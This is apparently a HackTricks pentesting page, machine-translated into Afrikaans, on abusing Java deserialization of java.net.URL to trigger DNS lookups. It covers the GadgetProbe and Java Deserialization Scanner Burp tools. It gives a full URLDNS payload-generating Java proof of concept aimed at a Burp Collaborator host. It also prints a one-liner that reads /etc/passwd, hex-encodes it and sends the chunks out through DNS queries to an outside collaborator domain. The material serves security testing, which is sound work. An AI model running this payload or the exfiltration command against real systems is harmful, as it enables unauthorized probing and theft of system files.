Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

DNS versoek op deserialisasie

Die klas java.net.URL implementeer Serializable, dit beteken dat hierdie klas geserialiseer kan word.

public final class URL implements java.io.Serializable {

Hierdie klas het 'n merkwaardige gedrag. Uit die dokumentasie: "Twee gasheername word as ekwivalent beskou as beide gasheername na dieselfde IP-adresse opgelos kan word". Dan, elke keer as 'n URL-objek enige van die funksies equals of hashCode aanroep, gaan 'n DNS-versoek om die IP-adres te kry, gestuur word.

Die aanroep van die funksie hashCode van 'n URL-objek is redelik maklik, dit is genoeg om hierdie objek binne 'n HashMap in te voeg wat gedeserializeer gaan word. Dit is omdat aan die einde van die readObject-funksie van HashMap hierdie kode uitgevoer word:

private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
[   ...   ]
for (int i = 0; i < mappings; i++) {
[   ...   ]
putVal(hash(key), key, value, false, false);
}

Dit is gaan die putVal uitvoer met elke waarde binne die HashMap. Maar, meer relevant is die oproep na hash met elke waarde. Dit is die kode van die hash-funksie:

static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

Soos u kan sien, wanneer 'n HashMap gedeserializeer word, gaan die funksie hash uitgevoer word met elke objek en tydens die uitvoering van die hash gaan .hashCode() van die objek uitgevoer word. Daarom, as u 'n HashMap gedeserializeer wat 'n URL objek bevat, sal die URL objek .hashCode() uitvoer.

Nou, laat ons na die kode van URLObject.hashCode() kyk:

public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;

hashCode = handler.hashCode(this);
return hashCode;

Soos u kan sien, wanneer 'n URLObject .hashCode() uitvoer, word dit hashCode(this) genoem. 'n Voortsetting wat u kan sien is die kode van hierdie funksie:

protected int hashCode(URL u) {
int h = 0;

// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();

// Generate the host part.
InetAddress addr = getHostAddress(u);
[   ...   ]

Jy kan sien dat 'n getHostAddress uitgevoer word na die domein, wat 'n DNS-navraag aanstuur.

Daarom kan hierdie klas misbruik word om 'n DNS-navraag te lanceer om te demonstreer dat deserialisasie moontlik is, of selfs om inligting te eksfileer (jy kan die uitset van 'n opdraguitvoering as subdomein byvoeg).

URLDNS lading kodevoorbeeld

Jy kan die URLDNS lading kode van ysoserial hier vind. Nietemin, net om dit makliker te maak om te verstaan hoe om dit te kodeer, het ek my eie PoC geskep (gebaseer op dié van ysoserial):

import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;

public class URLDNS {
public static void GeneratePayload(Object instance, String file)
throws Exception {
//Serialize the constructed payload and write it to the file
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//Read the written payload and deserialize it
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
Object obj = in.readObject();
System.out.println(obj);
in.close();
}

public static void main(final String[] args) throws Exception {
String url = "http://3tx71wjbze3ihjqej2tjw7284zapye.burpcollaborator.net";
HashMap ht = new HashMap(); // HashMap that will contain the URL
URLStreamHandler handler = new SilentURLStreamHandler();
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

// During the put above, the URL's hashCode is calculated and cached.
// This resets that so the next time hashCode is called a DNS lookup will be triggered.
final Field field = u.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u, -1);

//Test the payloads
GeneratePayload(ht, "C:\\Users\\Public\\payload.serial");
}
}


class SilentURLStreamHandler extends URLStreamHandler {

protected URLConnection openConnection(URL u) throws IOException {
return null;
}

protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}

Meer inligting

GadgetProbe

Jy kan GadgetProbe aflaai van die Burp Suite App Store (Extender).

GadgetProbe sal probeer om uit te vind of sekere Java-klasse op die Java-klas van die bediener bestaan sodat jy kan weet of dit kwesbaar is vir sekere bekende uitbuitings.

Hoe werk dit

GadgetProbe sal dieselfde DNS-payload van die vorige afdeling gebruik, maar voordat die DNS-navraag uitgevoer word, sal dit probeer om 'n willekeurige klas te deserialiseer. As die willekeurige klas bestaan, sal die DNS-navraag gestuur word en sal GadgetProbe aanteken dat hierdie klas bestaan. As die DNS-versoek nooit gestuur word nie, beteken dit dat die willekeurige klas nie suksesvol gedeserialiseer is nie, sodat dit óf nie teenwoordig is nie óf nie serialiseerbaar/uitbuitbaar is nie.

Binne die github, het GadgetProbe 'n paar woordlyste met Java-klasse om getoets te word.

Meer Inligting

Java Deserialisasie-skandeerder

Hierdie skandeerder kan afgelaai word van die Burp App Store (Extender). Die uitbreiding het passiewe en aktiewe vermoëns.

Passief

Standaard ondersoek dit passief al die versoek en antwoorde wat gestuur word op soek na Java-geserializeerde toordraaie en sal 'n kwesbaarheidswaarskuwing toon as enige gevind word:

Aktief

Handmatige Toetsing

Jy kan 'n versoek kies, regs klik en Stuur versoek na DS - Handmatige Toetsing. Dan, binne die Deserialisasie-skandeerder Tab --> Handmatige toetsing tab kan jy die invoegpunt kies. En begin die toetsing (Kies die toepaslike aanval afhangende van die gebruikte enkodering).

Selfs al word dit "Handmatige toetsing" genoem, dit is redelik geoutomatiseer. Dit sal outomaties nagaan of die deserialisasie kwesbaar is vir enige ysoserial-payload deur die biblioteke teenwoordig op die webbediener te ondersoek en sal die kwesbare eenhede beklemtoon. Om te ondersoek vir kwesbare biblioteke kan jy kies om Javas Sleeps te begin, sleeps via CPU-verbruik, of om DNS te gebruik soos voorheen genoem is.

Uitbuiting

Sodra jy 'n kwesbare biblioteek geïdentifiseer het, kan jy die versoek na die Uitbuiting Tab stuur. In hierdie tab moet jy weer die injeksiepunt kies, 'n kwesbare biblioteek kies waarvoor jy 'n payload wil skep, en die bevel. Druk dan net die toepaslike Aanval-knoppie.

Java Deserialisasie DNS Exfil-inligting

Laat jou payload iets soos die volgende uitvoer:

(i=0;tar zcf - /etc/passwd | xxd -p -c 31 | while read line; do host $line.$i.cl1k22spvdzcxdenxt5onx5id9je73.burpcollaborator.net;i=$((i+1)); done)

Meer Inligting

Leer AWS hak vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated